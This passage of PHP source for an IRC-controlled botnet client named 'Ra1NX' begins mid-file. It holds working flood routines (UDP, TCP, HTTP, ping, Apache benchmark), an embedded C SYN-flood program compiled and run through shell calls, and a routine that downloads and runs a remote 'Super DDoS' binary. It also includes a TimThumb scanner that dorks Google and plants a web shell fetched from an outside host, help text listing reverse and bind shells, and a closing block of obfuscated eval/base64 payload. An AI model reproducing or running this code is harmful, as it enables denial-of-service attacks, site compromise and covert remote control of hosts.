        if(eregi("code:",$v))SEND($sender."7Country: 10".str_replace("    ","",strip_tags($browsing[($i+8)]))." (".str_replace("    ","",strip_tags($browsing[($i+2)])).")");
        if(eregi("state:",$v))SEND($sender."7State: 10".strip_tags($browsing[($i+2)]));
        if(eregi("city:",$v))SEND($sender."7City: 10".strip_tags($browsing[($i+2)]));
        if(eregi("latitude:",$v)){
            SEND($sender."7Googla Map Index: 10".strip_tags($browsing[($i+3)])." x ".strip_tags($browsing[($i+8)]));
            break;
        }
    }
}

####[ Ra1NX Proxy List ]####
function proxy($arg){
    global $SOCKET,$dropMsg,$sender;
    $browsing = $i = $v = false;    
    $host = "http://www.ip-adress.com/proxy_list/";
    SEND($sender."7Proxy List: 10[2A10]nonymous - [2E10]lite!");
    $browsing = explode('<table border="0" class="proxylist">',httpquery($host));
    $tproxy = explode('</table>',$browsing[1]);
    $trodd = explode('<tr class="odd">',$tproxy[0]);
    $tx = 0;
    foreach($trodd as $x => $odd){
        if($tx=="0"){
            $tx++;
            continue;
        }
        $treven = explode('<tr class="even">',$odd);
        foreach($treven as $y => $even){
            $trp = explode("
",$even);
            $c = 0;
            foreach($trp as $z => $tr){
                if($c == "1")$ip = strip_tags($tr);
                if($c == "2")$cl = strip_tags($tr);
                if($c == "4")$cn = str_replace("                        ","",strip_tags($tr));
                if($c == "4")break;
                $c++;
            }
            $cn = str_replace("                    ","",$cn);
            if($cl != "Transparent")SEND($sender."7[2".substr($cl,0,1)."]4 ".$ip." 5(".$cn.")");
        }
    }
    SEND($sender."7Done!");
}

####[ Ra1NX Port ]####
function port($arg){
    global $SOCKET,$sender;
    $args = explode(" ",$arg);
    $host = $args[0];
    $port = $args[1];
    $pesan = checkport($host,$port,2);
    $pesan = "is ".(eregi("failed",$pesan)?$pesan:"Accepted");
    SEND($sender."7Connection to ".$host.":".$port." ".$pesan);
}

function checkport($ip,$port,$timeout){
    global $SOCKET,$sender;
    $checkport = fsockopen($ip, $port, $errnum, $errstr, $timeout);
    return ($checkport)?true:"failed (".$errstr.")";
}

####[ Ra1NX NMap ]####
function nmap($arg){
    global $SOCKET,$sender,$shellfunc,$portserv;
    $shellfunc("which nmap >/tmp/Ra1NX.nmap 2>&1");    
    $havenmap = (trim(fgets(fopen("/tmp/Ra1NX.nmap","r"),16)))?1:0;
    if($havenmap){shell("nmap ".$arg); return;}    
    $ghost = explode(" ",$arg);
    foreach($ghost as $key => $host){
        if(!eregi("^(-).+$",$host) || !is_numeric($host)){
            $thehost = $host;
            break;
        }
    }
    SEND($sender."7Ra1NX Port Mapper v0.1");
    SEND($sender."7Interesting port on ".$thehost.". Scan maybe long. Please wait..");
    foreach($portserv as $theport => $servname){
        if(!eregi("failed",checkport($thehost,$theport,1))){
            $open[] = $theport." open ".$servname;                
        }
    }
    foreach($open as $key => $val){
        SEND($sender."10".$val);
    }
    SEND($sender."10Port Mapping done! ".count($open)." opened port");    
}

function portserv(){
    global $SOCKET,$sender;
    $data = httpquery("http://nmap.org/svn/nmap-services");
    $rows = explode("
",$data);
    foreach($rows as $num => $val){
        if(!preg_match("/^(#).+$/",$val)){
            if(!preg_match("/^(<pre>).+$/",$val)){
                if(!preg_match("/^(unknown).+$/",$val)){
                    $p = explode("	",$val);
                    $q = explode("/",$p[1]);
                    $portserv[$q[0]] = $p[0];
                }
            }
        }
    }
    return $portserv;
}


####[ Ra1NX UDP Flood ]####
function udpflood($arg) { //@udpflood host paket time
    global $SOCKET,$sender;
    $args = explode(" ",$arg);
    SEND($sender."10UDP Flood: ".$args[0]." !Size: ".$args[1]." for ".$args[2]." times!");
    for($i=0;$i<$args[1];$i++){$packet .= "Ra1NX Mass Flooder!! ";}
    $time = $args[2];
    do{
        $conn = fsockopen("udp://".$args[0],mt_rand(0,65535),$err,$msg,5);
        fwrite($conn,$packet);
        fclose($conn);
        $time--;
    }while($time);
    SEND($sender."10UDP Flood: ".$args[0]." is done!");
}

####[ Ra1NX TCP Flood ]####
function tcpflood($arg){ //@tcpflood host port paket time
    global $SOCKET,$sender;
    $args = explode(" ",$arg);
    SEND($sender."10TCP Flood: ".$args[0].":".$args[1]." !Size: ".$args[2]." for ".$args[3]." times!");
    for($i=0;$i<$args[2];$i++){$packet .= "Ra1NX Mass Flooder!! ";}
    $time = $args[3];
    do {
        $conn = fsockopen("tcp://".$args[0],$args[1],$err,$msg,5);
        fwrite($conn,$packet);
        fclose($conn);
        $time--;
    }while($time);
    SEND($sender."10TCP Flood: ".$args[0]." is done!");
}

####[ Ra1NX HTTP FLOOD ]####
function httpflood($arg){ //@httpflood google.com 9999999999 999999999t
    global $SOCKET,$sender;
    $args = explode(" ",$arg);
    SEND($sender."10HTTP Flood: ".$args[0]." !Size: ".$args[1]." for ".$args[2]." times!");
    for($i=0;$i<$args[1];$i++){$packet .= "Ra1NX Mass Flooder!! ";}
    $time = $args[2];
    do {
        $conn = fsockopen("tcp://".$args[0],80,$err,$msg,5);
        fwrite($conn,$packet);
        fclose($conn);
        $time--;
    }while($time);
    SEND($sender."10HTTP Flood: ".$args[0]." is done!");
}

####[ Ra1NX Ping Flood ]####
function pingflood($arg){ //@pingflood google.com 99999999
    global $SOCKET,$sender,$shellfunc;
    $shellfunc("whoami >/tmp/Ra1NX.whoami 2>&1");
    $whoami = trim(fgets(fopen("/tmp/Ra1NX.whoami","r"),32));
    $shellfunc("rm -f /tmp/Ra1NX.whoami");
    if($whoami != "root"){ SEND($sender."10Need root access!"); return; }
    $args = explode(" ",$arg);
    SEND($sender."Smurf Ping of Death: ".$args[0]." for ".$args[1]." times");
    $shellfunc("ping ".$args[0]." -l 65000 -c ".$args[1]." 2>&1");
}

####[ Ra1NX Apache Benchmark Flood ]####
function apacheflood($arg){
    global $SOCKET,$sender,$shellfunc;
    $shellfunc("which ab >/tmp/Ra1NX.ab 2>&1");
    $abfunc = trim(fgets(fopen("/tmp/Ra1NX.ab","r"),128));
    if(!$abfunc){ SEND($sender."10Cannot locate apache benchmark. Flooding canceled!"); return; }
    $args = explode(" ",$arg);
    SEND($sender."10Apache benchmark flood started: ".$args[0]." in ".$args[1]." times");
    $shellfunc($abfunc." -n ".$args[1]." -c 300 \ http://".$args[0]."/cgi-bin/search.cgi?q=Ra1NX Mass Flooder 2>&1");
}

####[ Ra1NX SynFlood ]####
function sysnflood($arg){
    global $SOCKET,$sender,$shellfunc;
    $shellfunc("which gcc >/tmp/Ra1NX.gcc 2>&1");
    $gcc = trim(fgets(fopen("/tmp/Ra1NX.gcc","r"),128));
    if(!$gcc){
        $shellfunc("which cc >/tmp/Ra1NX.gcc 2>&1");
        $gcc = trim(fgets(fopen("/tmp/Ra1NX.gcc","r"),128));
    }
    if(!$gcc){ SEND($sender."10gcc command not found. Synflooding Canceled!"); return; }
    $shellfunc($gcc." --help >/tmp/Ra1NX.gcc 2>&1");
    $o = fgets(fopen("/tmp/Ra1NX.gcc","r"),3024);
    if(!eregi("Usage: gcc ",$o)){ SEND($sender."10gcc command denied. Synflooding Canceled!"); return; }    
    //blm bisa bikin pakek php. pakek c dulu
    $args = explode(" ",$arg);
    $syntool = "#include<stdio.h>
    #include<netinet/tcp.h>
    #include<netinet/ip.h>

    typedef struct pseudo_header 
    {
        unsigned int source_address;
        unsigned int dest_address;
        unsigned char placeholder;
        unsigned char protocol;
        unsigned short tcp_length;
        //char tcp[28];
        struct tcphdr tcp;
    };

    unsigned short csum(unsigned short *ptr,int nbytes) {
        register long sum;
        unsigned short oddbyte;
        register short answer;

        sum=0;
        while(nbytes>1) {
            sum+=*ptr++;
            nbytes-=2;
        }
        if(nbytes==1) {
            oddbyte=0;
            *((u_char*)&oddbyte)=*(u_char*)ptr;
            sum+=oddbyte;
        }

        sum = (sum>>16)+(sum & 0xffff);
        sum = sum + (sum>>16);
        answer=(short)~sum;

        return(answer);
    }

    int main (void)
    {
        int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
        char datagram[4096];
        struct iphdr *iph = (struct iphdr *) datagram;
        struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
        struct sockaddr_in sin;
        struct pseudo_header psh;
        sin.sin_family = AF_INET;
        sin.sin_port = htons(80);
        sin.sin_addr.s_addr = inet_addr ('".$args[0]."');
        memset (datagram, 0, 4096);
        iph->ihl = 5;
        iph->version = 4;
        iph->tos = 0;
        iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
        iph->id = htonl (54321);
        iph->frag_off = 0;
        iph->ttl = 255;
        iph->protocol = IPPROTO_TCP;
        iph->check = 0;    
        iph->saddr = inet_addr ('192.168.1.2');
        iph->daddr = sin.sin_addr.s_addr;
        iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
        tcph->source = htons (1234);
        tcph->dest = htons (80);
        tcph->seq = 0;
        tcph->ack_seq = 0;
        tcph->doff = 5;    
        tcph->fin=0;
        tcph->syn=1;
        tcph->rst=0;
        tcph->psh=0;
        tcph->ack=0;
        tcph->urg=0;
        tcph->window = htons (5840);
        tcph->check = 0;
        tcph->urg_ptr = 0;
        psh.source_address = inet_addr('192.168.1.2');
        psh.dest_address = sin.sin_addr.s_addr;
        psh.placeholder = 0;
        psh.protocol = IPPROTO_TCP;
        psh.tcp_length = htons(20);
        memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
        tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));
        {
            int one = 1;
            const int *val = &one;
            if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
                //printf ('Warning: Cannot set HDRINCL!n');
        }
        int counter;
        counter = 0;
        while (counter < ".$args[1].")
        {
            //Send the packet
            if (sendto (s,    
                        datagram,
                        iph->tot_len,
                        0,
                        (struct sockaddr *) &sin,
                        sizeof (sin)) < 0)

                //printf ('errorn');
            //Data send successfully
            else
        //        printf (".");
        counter++;
        }

        return 0;
    }

    ";
    $file = fopen("/tmp/Ra1NX.syn.src","a");
    fwrite($file,$syntool);
    fclose($file);
    $shellfunc($gcc." -o /tmp/Ra1NX.syn /tmp/Ra1NX.syn.src");
    $shellfunc("chmod +x /tmp/Ra1NX.syn");
    $shellfunc("rm -f /tmp/Ra1NX.syn.src");    
    SEND($sender."10Synflooding: ".$args[0]." for ".$args[1]." times");
    $shellfunc("/tmp/Ra1NX.syn 2>&1");
}

####[ Super DDoS ]####
function superdos($arg){
    global $SOCKET,$sender,$gudangsenjata,$shellfunc;
    $args = explode(" ",$arg);
    $shellfunc("pwd >/tmp/Ra1NX.pwd 2>&1");
    $dirnow = trim(fgets(fopen("/tmp/Ra1NX.pwd","r"),512));
    $shellfunc("cd /tmp");
    $dlfunc = downloader();
    if(!$dlfunc){SEND($sender."10Cannot download Super DDoS tool");return;}
    $shellfunc($dlfunc." ".$gudangsenjata."super");
    $shellfunc("chmod +x /tmp/super");
    SEND($sender."10Super DDoS: ".$arg[0]);
    $shellfunc("/tmp/super ".$arg[0]." ".$arg[1]." Ra1NX Mass Flooder >/tmp/Ra1NX.super.dos 2>&1");
    $shellfunc("cd ".$dirnow);
    $shellfunc("rm -f /tmp/Ra1NX.super.dos");
}

###[ Ra1NX | add | Google Search By UnKnown ]###
function google($arg){
	global $SOCKET,$dropMsg,$sender;
	$args=urlencode($arg);
	$c = 0;
	$host = "http://www.google.co.id/search?q=".$args."&num=20";
	SEND($sender."7Gugling for 10".$arg);
	$rez = httpquery($host);
	$pattern = '#<h3 class="r"><a href="([^"]*)" class=#i';
	$count = preg_match_all($pattern, $rez, $matches, PREG_SET_ORDER);
    if ($count == 0) { SEND($sender."7Kosong bos, cek lagi kiwot nya :p"); }
	else {
	for ($i = 0;$i < $count;$i++) {
		$urlz = urldecode($matches[$i][1]);
		$c++;
		if(eregi('http://',$urlz)){
		$urlz=str_replace('&amp;','&',$urlz);
			SEND($sender."7hasil 10 ".$urlz);
			}
		}
		}
	SEND($sender."7Gugling slesae!");
}
###[ Ra1NX | add | TimThumb eXploit by UnKnown ]###
function timid($arg){
	global $SOCKET,$sender;
	$host = "http://flickr.com.crmpt.com/bad.php";
	$respond = httpquery($host);
	if(eregi("GIF89a",$respond)){
	SEND($sender."7Respond Ok");
	} else { SEND($sender."7Respond Bad"); }
	}
function tim($arg){
	global $SOCKET,$dropMsg,$sender;
	$args = explode(" ",$arg);
	$bug = $args[0];
	$dorks = array($args[1],$args[2],$args[3],$args[4]);
	$dork = implode(" ",$dorks);
	$timid = "http%3A%2F%2Fflickr.com.crmpt.com%2Fbad.php";
	$md5php = md5(urldecode($timid)).".php";
	$c = 0;
		SEND($sender."7TimThumb Scanner Start with bug = 10".$bug."7 and dork = 10".$dork);
	$list = googling($dork,$m);
	$totals = explode("
",$list);
	$total = count($totals);
	$clean = array_unique($totals);
		SEND($sender."7Total -> ".$total." sites");
		foreach($clean as $res => $site){
			$vulners = array($site,"/",$bug,"?src=",$timid);
			$vulner = implode("",$vulners);
			SEND($sender."7Checking ".$site);
			$resss = httpquery($vulner);
				if(eregi("Unable to open image",$resss)){
					SEND($sender."7eXploiting -> ". $site);
			$sbug = split('[/]',$bug);
			$patrn = "#$sbug[0]([^<]+)$md5php#i";
			preg_match($patrn,$resss,$targetpath);
			$pathshell = "/".$targetpath[0];
			$shells = array("http://",$site,$pathshell);
			$shell = implode("",$shells);
			$shellzz = httpquery($shell);
			$patern = '#<title>([^*]*)<\/([^*]*)SAFE_MODE : (?P<safe>[^*]*)<\/([^*]*)User : (?P<uid>[^*]*)<\/([^*]*)Uname : (?P<uname>[^<]*)#i';
			$shellz = preg_match($patern,$shellzz,$dapat);
				if($shellz == 0) { SEND($sender."7Gak Nyangkut :("); }
				else {
					$safe = $dapat['safe'];
					$uid = $dapat['uid'];
					$uname = $dapat['uname'];
					SEND($sender."7Shell -> 10".$shell."7 [SafeMode=10".$safe."7] [OS=10".$uname."7] 10".$uid);
				}
			}
		$c++;
		}
	SEND($sender."7Scanner Finished for ".$dork);
}
function googling($key,$max) {
	global $SOCKET,$sender;
	$key = urlencode($key);
	$num = 100;
	$c = 0;
	$tld = array("com","co.id","ae");
	$dom = $tld[rand(0,(count($tld)-1))];
	for ($p=0;$p<=1000;$p+=10) {
		$rez = httpquery("http://www.google.".$dom."/search?num=".$num."&hl=id&q=".$key."&start=".$p."&sa=N",5);
		$pattern = '#<h3 class="r"><a href="([^"]*)" class=#i';
		$count = preg_match_all($pattern, $rez, $matches, PREG_SET_ORDER);
		if ($count == 0) { SEND($sender."7dork jelek"); return $h; }
		else {
			for ($i = 0;$i < $count;$i++) {
				$urlz  = urldecode($matches[$i][1]);
				preg_match('@^(?:http://)?([^/]+)@i',$urlz, $dapat);
				$urls = $dapat[1];
				$h .= $urls."
";
#				$h .= array_unique($h);
				$c++;
#	SEND($sender."7".$urls);
				}
			}
		}
	SEND($sender.'7Searching Done, please wait for eXploit');
	return $h;
}
###[ Ra1NX Command Help ]###
function help($arg){
    global $SOCKET,$sender;
    $args = explode(" ",$arg);
    $opt = $args[0];
    
    $tmpl = $sender."10@";
    $hfile[]= 'irc: join #channel msg';
    $hfile[]= 'irc: part #channel msg';
    $hfile[]= 'irc: cycle #channel msg';
    $hfile[]= 'irc: msg nick/#channel msg';
    $hfile[]= 'irc: whois nick';
    $hfile[]= 'irc: find nick';
    $hfile[]= 'irc: nick newnick';
    $hfile[]= 'irc: off msg';
    
    $hfile[]= 'flood: tsunami nick/#channel';
    $hfile[]= 'flood: ctcpflood nick/#channel';
    
    $hfile[]= 'shell: shell command';
    $hfile[]= 'shell: download url';
    
    $hfile[]= 'domaintool: ipwhois hostname';
    $hfile[]= 'domaintool: reverse hostname';
    $hfile[]= 'domaintool: iptrace hostname';
    $hfile[]= 'domaintool: port hostname port';
    $hfile[]= 'domaintool: nmap hostname';
    $hfile[]= 'domaintool: proxy';
    
    $hfile[]= 'ddos: udpflood target packetsize times';
    $hfile[]= 'ddos: tcpflood target port packetsize times';
    $hfile[]= 'ddos: httpflood target packetsize times';
    $hfile[]= 'ddos: pingflood target times';
    $hfile[]= 'ddos: apacheflood target times';
    $hfile[]= 'ddos: synflood target packetsize times';
    $hfile[]= 'ddos: superdos target port';
    
    $hfile[]= 'rconnect: backconnect ip port {perl|c|nc|php}';
    $hfile[]= 'rconnect: bindshell port {perl|nc|php}';
    
    $hfile[]= 'info: info';
    $hfile[]= 'info: myself';
    $hfile[]= 'info: myip';
    $hfile[]= 'info: myshell';
    
    if(!$opt){SEND($sender."2Ra1NX v2.0 Command Help");}
    foreach($hfile as $key => $val){
        $send = true;
        if($opt!=""){
            $send = (eregi($opt.":",$val))?true:false;
        }
        if($send){
            SEND(((eregi("shell command",$val))?$sender."10":$tmpl).substr($val,(strpos($val,": ")+2),strlen($val)));
        }
    }
    if(!$opt){SEND($tmpl."help {irc|flood|ddos|domaintool|rconnect|shell|info}");}
}

###[ Ra1NX AddOns ]###
function beArray($val,$param=','){
    $val = str_replace("
","",$val);
    $val = str_replace("
","",$val);
    $val = str_replace("	","",$val);
    $val = str_replace(" ","",$val);
    return explode($param,$val);    
}

function random($var){
    $var = beArray($var);
    $max = count($var)-1;
    $key = rand("0",$max);
    $output = str_replace(" ","",$var[$key]);
    $output = str_replace("
","",$output);
    $output = str_replace("
","",$output);
    $output = str_replace("	","",$output);
    return $output;
}

Did this file decode correctly?

Original Code

eval(gzinflate(str_rot13(base64_decode('7X1dats4kuiZzkbmnDnzaV8Xc7yxlND6sp1B5Ch2J2TS7kF5j+VZz3narVCLlMU2UqpWyrbysfML7u/aH2Pf7z7cX7Dv955mqwoACYCkLCc9Ozt7JtNwVkBIoUMoFApgoTgLAz88r60O+rtUf9w9bbfWf360ams8a7n3bWp/583u2lZ9+2q/XVq8+MKLEwb/bcx3tx402g+/YTz6utHebXUhwDSKRqoWIF+3TS2qY9yJH6o1O/GRM7eD6NSznWYnWnPDsWJ/9zKeD+zvN6fHG/tp4llz7c5z2z71fmkm7+12Z+6FdPb+5vC8cr9lJl4EvNhBmPp2lNinP1TxuZ2cz8+ATns+O/fti0bH/ql/Pv/BCc69+CficDhpwtALcRfuIANKRxN7QRAC1VFl+KfnsWpWSKE/PNeqroZDcl/F0IOJ44dpuGQ6CzbtcRq000Q73rCvRS+GDjuBfbU+ZE/71PnZGfupM4FeXG1k7ITApj2KIzeCfs7iKLT3wv3Z3FbGjt2f+q4Xr78BvHRBih/92dSL8ctr9vrc7gcAcx9Sw/P115507zvxLI3svvN+ae7Bx/ksaexiofHUsb/zcMef489rae7Y34OoE5DzwSnIzP42OmrOPPs4mYWO69liHNcBzB0aDRDfIfYMMHPvdNDGmQMYz6MQmPgXL4WiF55C8K/gD0V+7xG1Nz5HV7owpvT1yOGf3/tOAD17hlz7oetrE3GYf37vw2Pte/7Pvv29an7u+MAoVv955oK4Ei/8GW2E0h+n6bTbeTogxmzjZx5UXiP00uaR097/E2/87rdqYHyc1HBVOQoZm8bR0FgSR0P+Dcn87rc4ms1MEjeTRj95IkzXFqVHZR5RdLYChnKTbPJYoE4l8wTg3HjLkJrL1oeszdav4D/bccAZwsAXV4egHL/7Le/XKihTmLJ8GoEiudGkUxqKCk2X6k0BE3NARd0NoHkWKPPdABFToC7ne1ZGcQYIQI6AXs0HgQDA7jjJYOJcZJAONRtr3jSnuoFyAJHG824UhrxjWBSGs8kpdLHHHnG9h+Favffv31sKD0NTRVq9hIqxEz4vJ9VuF51Ti+1eWoMoBor/ykHnjKwUZhrnDYf9Ceb0mwYbUjF7Gx6BnNgz1L19L3qww9hwVF7gOYnHQXR+4LJBq91NYmjWOx3WYWg3Os6EbquuN/JQrzawrVud9Xu9e/dJYUxoGtvh2PXjmtW0uOTHXhCMc+FDyCD7XaPqWD/U9IB+8yo3ugyDCCa0EFf+u5YNGQ4hr5W/d5yJO/k/trt/vHvEnh+8bLOz/4I1s2L93f0XQyHAfvdb5CpSTm9SDaSdOmj2gavxGdhKENR3/+D597vH27xjZxn7qUoThTZuNKwf4x9Q6Dv73WI/GZxxHL3Z2dsHNvb3ap8f7x3sszty/xSGQ1s8+k2rGwzl6nHzVpXY+QSx83ZgWGi3ueC2kQgntQoEbXrRJ9EZkOjICRJClF6O/cCrrcjKu2pMDbHY457KTr3+To4kVCOCb+6VzrsMKJt/JWYvA8pMWGDNiKZeKInxQdmrsCINYCLxL5PkzN51dhRevT5rtvO6D2EBkU076ekjKsVk//623guaybW2JPaJf/ijWSZo5vpezW0Oq2WUygFwdsRvmLNgwcdEkk0S3R8xqTVlPGj2dSTXQYRRZXhMbgSLBLA6x88M6dL4RWJAT1kzsaUWSZcVWh/rLWtg7EJ1aNqdrxst+F+bBdHQCUMSrMvWez1hrQ7j6HSu3L3euqWys7/3/HvOqU06jX0QhvWci9hmRMhJUChPw+rCakeGhoWliAzfd8jIN0njzFix+dM5Mp57ida3x8eHg2IP+sfWVr1u1ZnJGc12hYdEMFjGYHcytcgl8FbMezcSI8unvKIRb0/ITGEq0gdotmILWkZVKdQ8aoVOlxhBBxbN0ukscor94NrsXaU4cgAuyVlIu9XZlDKVEFYaD29iGjhQ0OMfcMu2LJvqFgOG1YD0ieMgyqdBDH2vlcKq1gbXRS9ECj9k+9POeTvjispevt0nC9rH8sxcymmQjHYvRCHsfL21M1Tazsy4S0J64etYpkBoA9A26EmChPm8nCVx2knH8ov66b+Q375SnVSBzKfem+QMv7pkNBVfoR34gBYmUd6JzwyBCA5ru9lNVv1GUqasox6u/i6MD4OxITmoBl/weoB+I0DftUGy0Rl0gAbwinILMiq4AZ3MQU5Md5wKwNl6G34HdbdyRF3D3WaV7mSQ9okKQILMrKIBIKWriAd4lY5YoWYIriHvOie9HrcyQqmNriw2Uz7jrCb7UmMbd7dRVr3e60wrMJ5J/XYaz7xhejkcwQahkAJx0pnOQT+XjdMotUeaTLcmlcQ2QuyW3VPsYgDVrDLa2YRpunjk2K2p7AryX0Fb5RosJa/ZOkSXQWNzeKt+Ynh71X88jHPgUAqtX/Xv30oBiTucbow1pI6s+ieNGqA/rqmo6+1t/SnMn66lLVefNA8gXzGFd8Gim0LuehMIGharMkpE+F2AThXkQMJrdVMA+i9SU+YAcfkAcmy4t/+KaG7p4qvv4QH9eeiwD+q5B0Xzb+/Mr0y/gQWwDyZHQX7UGlbkde+PYvqvYx1SPsCSWGCG9n/exRpuLRvWYjIx5SMlc+RXQtKy1LFVLv1nOM6gzG4a4ibE2tzYsLoM5wVqBRrof9RNig2HQbFG8FPOt8vwW6024HgOiu6oyF7SBpycE9jf+qHwARJiZergMccl7Lbq21IihnSo/gOl9JzhmNVBvR3c49eyxabOnIStnntm1nvCqDTbdpQz+d0B7BgIENb+OIa1v5SZQm2RKRVdagsKtYR2+qCsg3VEthVKS9Sow1WlExf0k8wDqOcHub7J+c39NJwIKvdvLZTYP1Q+7Kme0nRvaLFnW3qFclfUy0gNtym0hNdVfev4W2VCXydhTurAsGcjBt6Vn6DPhGP1ktEBlzNndrVKdIqY+tStTskQ5ROdo2aDwb+XgWZ2lTp0Q0hfFiVcjAJ9rJVIfqpFnhurWr6AlXVBSakrQuWwZVQDv+Rx5a8lVEiA/mofS97N5cc2O7NrJwzgziwdw+7THzrkW58YVBPqBDNceu4+28ahCfeMw0Sk+Li3ZP/jhwOHW1aEsDObycnUbkiKvWcWhxlJ855W72Uc+YnAYitY3Qpf6+Qq5ifMbkuSpEPh0uICIpSEzJbYvSanJFdWe4WkxPmOFNbe0Wb2PJpZYIlXuKjudTsTsYxslzQrS9nepOA8COgqXZHErgMPWMF24ynLPvAOyj0nX2xjE0E7dqMd46ihJwGEu/1W67eYU7XVVr7MG/0suBzqfCO8epMqrQZctSVaTSGN7Y+i+sJaeSthIi2+BTcRGyQHEavJTsy3sZprdW6+A46WKuw7XNaEq3lk9C5eg7Sg37C/WvVhcMmCYVixEBwQr5YGAiyQBuEX3HJPKmSXNU4d7hwdL+rzog5QIfU3yTrMLaHZ3+wweDU6nXvnwsNe2G6SRXJ/EXvB4CvaVw0u6E80GkRwvbU12ZIvV22ASKe2bdr+jPcR5ify+NS61d6y2+xr7LEoDOYsHfvhGfxoReZZp54TJwyc1smcjT3Hct/NEjp4urXZv/WwZHjzLf3do7/Ple8v6O8u0HPOpTN0vwfnKt+U8F7+4e3eMe4lpFPpHfOTKNSURE0zMX/zZhWyDirhvT7sJGW66k7zMJpZAy/1tEROA1rPOYzDrM5Q7RBG4qLwxCZ0o7WhnAZphbGPT0PZabelD+0q9nUBLvFbV0CsD1GgqMOgqIND2JsPFU2EldDIrXkKrSJNocedrUlpri0aFdxXCvsRWQ5L3U8YCbHpYBMvVpwz2MbYUTVwXedGrKHUVHX0wol7rZsM7SoRMEL0VzwXSWNcuDh++PZgr39GtRAOQBr7k5ouq61pp17XNgtlYJVESAeVuwDmkYF1QE2cDETBMdyrWRBNr7u814jwrn1v4ijMerTbN26Qn9bxcFPNLBIXpa5uGX9RAhjjXct+fEZS6NMC/h8t5L+ifYKCP4AThWyreU47nS95dJaAJa3qoNpFq/2FLaHjCUm2u1lw7Yef2UtQzqyqJknEvK4v8rnYrfYmFBCNhmhYPwIrPuW7EeeKgRa+tL6xlPx9yCwqsZHtGIWbd02u4XwYa9pFlDtXog3FcCygj/zQLV3I0JDYuc1GjuSWM3i0uclJyfqHhZ7uoG59zXLG9QWfJlMhne6H0XIDxqHUVj843nu+yzLEYh0/+24r52oTLxw6sc/OncmMpbMxZn2FgW2VK/5KJPqblz7ttT+PuDxoR/Zv6knschBSVdzctKYYKTTxaJ/SS9zkEI+QBh4FZ7/6yz/d+H//4x9VfxOkr77iqL//h0f+DgfNyvat6WOaQsDf/OWrv/xQYH/XVb+xtpfcwSdBgs9dCnv4eErPcGHcufHvwg4Yg1A4MdWRRB+k8U35S/IOHTHL/ZqorNeV856cb+XqlrWIP1WFlXWRL8XJl/u/Jsp/SWKqY7LJXxp0Zmbcv4HUf3r2/otq67+GKBbN7LptGqmRnPhWwnAt+ebEXbHqv47J+Rr9azcKPREieOxNcT+W8lMnzpVcD9utf6yS/0slK0nJG69h7HPLmzkDnh8/P6xH/0yY+gFmPcdax3ly5ff56aY8d62er0LbXb5qNjjiJ4KcAD75lRNQPRdb2oD8A+U/FSUbrPVotfTzlU6e3EK9hOZPLUqHp6CAuWWSGWGYGtrukIXO9bObq/TrV6xaloBNB8wJ/AuP0JZtklY8fsFFpR9qyNOOPobX0DmHsrRDzFrpkUlpC8Nz/ApT8bHzJDGjQ5ta4wEmXQ5wiNfVbVbUsSh4BgqBi65+qEJUkRmIFrSxQIS8p7tK3mPGAxBvj73wE+c08Em0RsrslNA4XKT+qnMiezid31rhJ2iVxPQgtwwNhnqKtxK0ILdIKqJDkJz8Y+I21kvnyd32ms3W4rW6Ec0E+jiIvSSaxWuoiwTqzIh3IQMIkCsjLxopMGxqUzF1Z3poebNB6xGG/hnH9dNuECWSfDFXrFeGvB9Q9DV1bG3SWSdGfnaNbbSdLV5XhzlBHknshGFAz7XoFoeVk7B5K7ZHP188+uG95Gv1wrNNOoP1p4PUOVh36lAgjmBmASw0W8Vjg/I7H1evLND+9RFGmK+r0Q/qdnHfC1N5D58hmXSRk2wCaJUHz/hnjccQ2WzLqqERtWCwDvqw9rZb7766cjV3tcQZbLjK1/Cx/MbBy5dJ19o82LfqDesrgDpuZxsCj+R4Fm2vHtawaLVr6KSs6aXDJrjGM6ivl7f7g2rapysN1Dzhe+FSzeKXKwb9g5fHP+wc7Univ6W7JetBjq5jBeWViM90ZIwXcN4md9sc2Wor0V7GnpdZnaEnY1Pyai0PU0LHnjOdoo4jzJts/w+vGYlo7Fxrpz6oLN2ftLhj91a2IG8DvyHwgdHAQB9P0ZLYL24Ixgb6CMuWxP/hlZca6JcgpyWxX/9juP5PXL0zqASX02hsK6+KmiH7nek0EKFxuBrwprKWXT+hq4I9vNUiftSU5U8CGJHfGHGb1XaRtRdBgLGH7oiiOeAXPVzYNm8ZDR7Fd+Kyl2+OaWy/s9afTegJuKOutfHV/sG+0OzCnIdsoazLxpyvXJqvm/Tm/jGf52xLyTd+6A9AhDULeAdLehXj5/Tnafi0tRyvFESNhQPPIHADPSkYf5NYaDw/FFM7Ytflsh9VxFFbCxSUsnRhZXyK6pR6oHkVLCcsnzOKKj6aGfNeVfrASjJI/8riV7kvA1sSS8IxMhVElUUlzJH8L0gwuaSVx6KG7I3Bz2LT5iyp7E3JPFa9iTL6snG7HH7qJFY6jnQqU0lJgeOBM6bC0+8KS+JrYG8opUh8ZMdXbooKlhGSuEb8To+XAQVXowCTGFUX/PDbw8FOHxzwDXWmB+bvkoLOtYszOnJ2CUrhQrWLelnpompxgY8DFh55CtCBUkvxqBpDT16VpfhBF2xRQ8F/TwTuUKlkROR3I2+9cSqrfhp0YH0dV6bX8CHc2gUcVcirXni7xJkjv0Zm5a7u39cjaAC1twUWnF9xMMz2qMR/laPLEReNnfQUa2tPHF322pVQSyIo/vRNlRBSCC0pIoTVcWeNYIA9cK+MjTX0gCdRszfwc6cR77SC+EhFzILWgG8xJiJqjaTVxiK8je8n5wP8PuD14r4/aiCiFMQnYOhUEYiC+4nW4x540b0QTrml3AzACwBRLAOStFtTNAg7neNIfKSBfnk0gunEiwiDVJfG0SxneO1JqymKmxzB7kD9P1uF7mYCif/ey80rw2AOvHHuxf5DR+aRKiJvXLDmwQ9z3nVADPYEz2K/3vhts/0Qxot94KU9xjmkX80c4B6wXIffLQbda/XM2km2ddiGTmrz4dbXDyqJRa1T8c21FBfwdWP3fZFJjsk/G+BL6kNFB7Ftu/oqwjN0a87Eve+CQmgKleJN9M38KlvJNKEcuyYL4qluQXJB8NRQVJ59/Mix6DapKPxgcU/A0kZnVNbYDMSyatDt9qPhuZdpu3v7TQ6CyRxC9edGj7vC0zhXI2R23VeHRu2cA259x2jxvoofbenAViPgeK3